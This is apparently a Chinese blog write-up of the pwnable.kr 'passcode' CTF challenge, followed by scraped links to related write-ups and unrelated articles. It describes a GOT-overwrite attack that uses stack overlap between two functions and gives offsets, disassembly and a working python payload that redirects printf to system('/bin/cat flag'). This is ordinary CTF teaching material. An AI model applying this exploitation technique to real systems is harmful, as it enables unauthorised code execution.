进入远端运行,

废话不多说,下载下来分析。

根据提示,编译一下子。

知道问题了。

想象着,输入的值到了passcode1和passcode2的值作为地址的地方,passcode1处刚输入值时,程序终止,百度了下,错误原因是访问了不可访问的内存,此时passcode1的随机地址emmmmm不可操作咯。

所以咯,想个其他办法,啥子嘞?

大佬说,用Got表,它是全局偏移表,记录了程序在链接后的函数重定位地址信息,以后函数再调用,其地址就是从这里找到。

好嘞,看到welcome函数的超长name变量没,可以想象覆盖passcode1的值为fflush或printf的地址(这里以printf为例),然后scanf时,将printf的got中对应定位地址变为程序中system("/bin/cat flag");的地址。这样,程序运行到scanf后的printf时,其实就跳转到system("/bin/cat flag")地址处执行此代码咯。跳转语句执行代码,真神奇,got挺强大滴,但linux添加了保护机制PIE,当此保护没开时就能肆无忌惮了,咩哈哈。

可以蹂躏,0804a000 R_386_JUMP_SLOT   printf@GLIBC_2.0。

真的能蹂躏。

0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt>

看看最初始的覆盖passcode1的情况,看代码,welcome和login函数的ebp一样,结合IDA,name(ebp-0x70)呢,

passcode1(ebp-0x10)呢,

emmm,相差96字节,passcode1是4字节,刚好占用够了name的100字节。所以,

python -c "print 'a'*96+'\x00\xa0\x04\x08'+'\n'+'134514147'+'\n'" | ./passcode

欧克,成功

pwnable.kr-passcode-witeup的更多相关文章

  1. pwnable.kr的passcode

    前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下 ...

  2. 【pwnable.kr】passcode

    pwnable从入门到放弃,第六题. ssh passcode@pwnable.kr -p2222 (pw:guest) 完全是‘&’的锅. #include <stdio.h> ...

  3. pwnable.kr之passcode

    使用ssh passcode@pwnable.kr -p2222登录到远程服务器, ls -l 查看目录下的文件, -r--r----- root passcode_pwn Jun flag -r-x ...

  4. pwnable.kr col之write up

    Daddy told me about cool MD5 hash collision today. I wanna do something like that too! ssh col@pwnab ...

  5. 【pwnable.kr】col

    pwnable从入门到放弃第二题, ssh col@pwnable.kr -p2222 (pw:guest) 同样是登录,然后看到了col.c.col.flag三个文件,读一下col.c #inclu ...

  6. pwnable.kr bof之write up

    这一题与前两题不同,用到了静态调试工具ida 首先题中给出了源码: #include <stdio.h> #include <string.h> #include <st ...

  7. pwnable.kr brainfuck之write up

    I made a simple brain-fuck language emulation program written in C. The [ ] commands are not impleme ...

  8. pwnable.kr login之write up

    main函数如下: auth函数如下: 程序的流程如下: 输入Authenticate值,并base64解码,将解码的值代入md5_auth函数中 mad5_auth()生成其MD5值并与f87cd6 ...

  9. pwnable.kr详细通关秘籍(二)

    i春秋作家:W1ngs 原文来自:pwnable.kr详细通关秘籍(二) 0x00 input 首先看一下代码: 可以看到程序总共有五步,全部都满足了才可以得到flag,那我们就一步一步来看 这道题考 ...

  10. pwnable.kr simple login writeup

    这道题是pwnable.kr Rookiss部分的simple login,需要我们去覆盖程序的ebp,eip,esp去改变程序的执行流程   主要逻辑是输入一个字符串,base64解码后看是否与题目 ...

随机推荐

  1. 面试题_lambda函数调用

    res多少? def func(): return [lambda x: i * x for i in range(4)] res = [m(2) for m in func()] # print(r ...

  2. mybatis与Spring

    提问1:如果没有spring-mybatis,我们如何在spring中使用定义bean,如何使用事务? mybatis-Spring为我们带来多种方式的Mapper接口的注册,扫描,识别. 如果不使用 ...

  3. Linux背背背(5)

    目录: 1.rpm 2.运行模式 3.网卡 rpm软件管理 在Linux中的rpm其实有点类似于windows下的“xxx电脑管家”.“xxx软件管家”,其作用就是管理软件(查询软件的安装情况,安装软 ...

  4. eclipse注解模板,实实在在的

    1.可以引用其他codetemplate.xml 2.可以自己配置,很快,就几个主要的,个人建议这个,配一次妥妥的,以后就会了,也不用搭理模板了 3.按照公司要求 拿去https://www.jian ...

  5. DRF 认证、权限、限制

    DRF 认证.权限.限制   认证: 定义一个用户表和一个保存用户的Token表 # ======================day96======================= class ...

  6. 强一致性hash实现java版本及强一致性hash原理

    一致性 hash 分布式过程中我们将服务分散到若干的节点上,以此通过集体的力量提升服务的目的.然而,对于一个客户端来说,该由哪个节点服务呢?或者说对某个节点来说他分配到哪些任务呢? 强哈希 考虑到单服 ...

  7. Disconnected from the target VM, address: '127.0.0.1:57178', transport: 'socket'

    idea 执行测试单元debug时控制台出现:Disconnected from the target VM, address: '127.0.0.1:57178', transport: 'sock ...

  8. python列表中的pop函数

    再python的列表中,有许多的内置方法,而在这里我主要向大家介绍一下pop函数. pop函数主要是用于删除列表中的数据.而其删除值时会返回删除的值.如果没有参数传入时, 则会默认认为删除列表的最后一 ...

  9. 用360清理了一下电脑后发现Eclipse软件无法打开

    今天用360安全卫士清理了一下电脑,然后双击Eclipse软件发现不能打开,弹出以下界面: 解决方法如下: 打开计算机-属性-高级系统设置,修改系统变量里变量名为JAVA_HOME.CLASSPATH ...

  10. JavaScript值全等判断

    作为开发员,很多时候拿到数据之后都是要做数据判断,比较特别的情况就是我们需要做数组判断和对象判断,经常的我们就array === array ,object === object;但是可惜是我们得到的 ...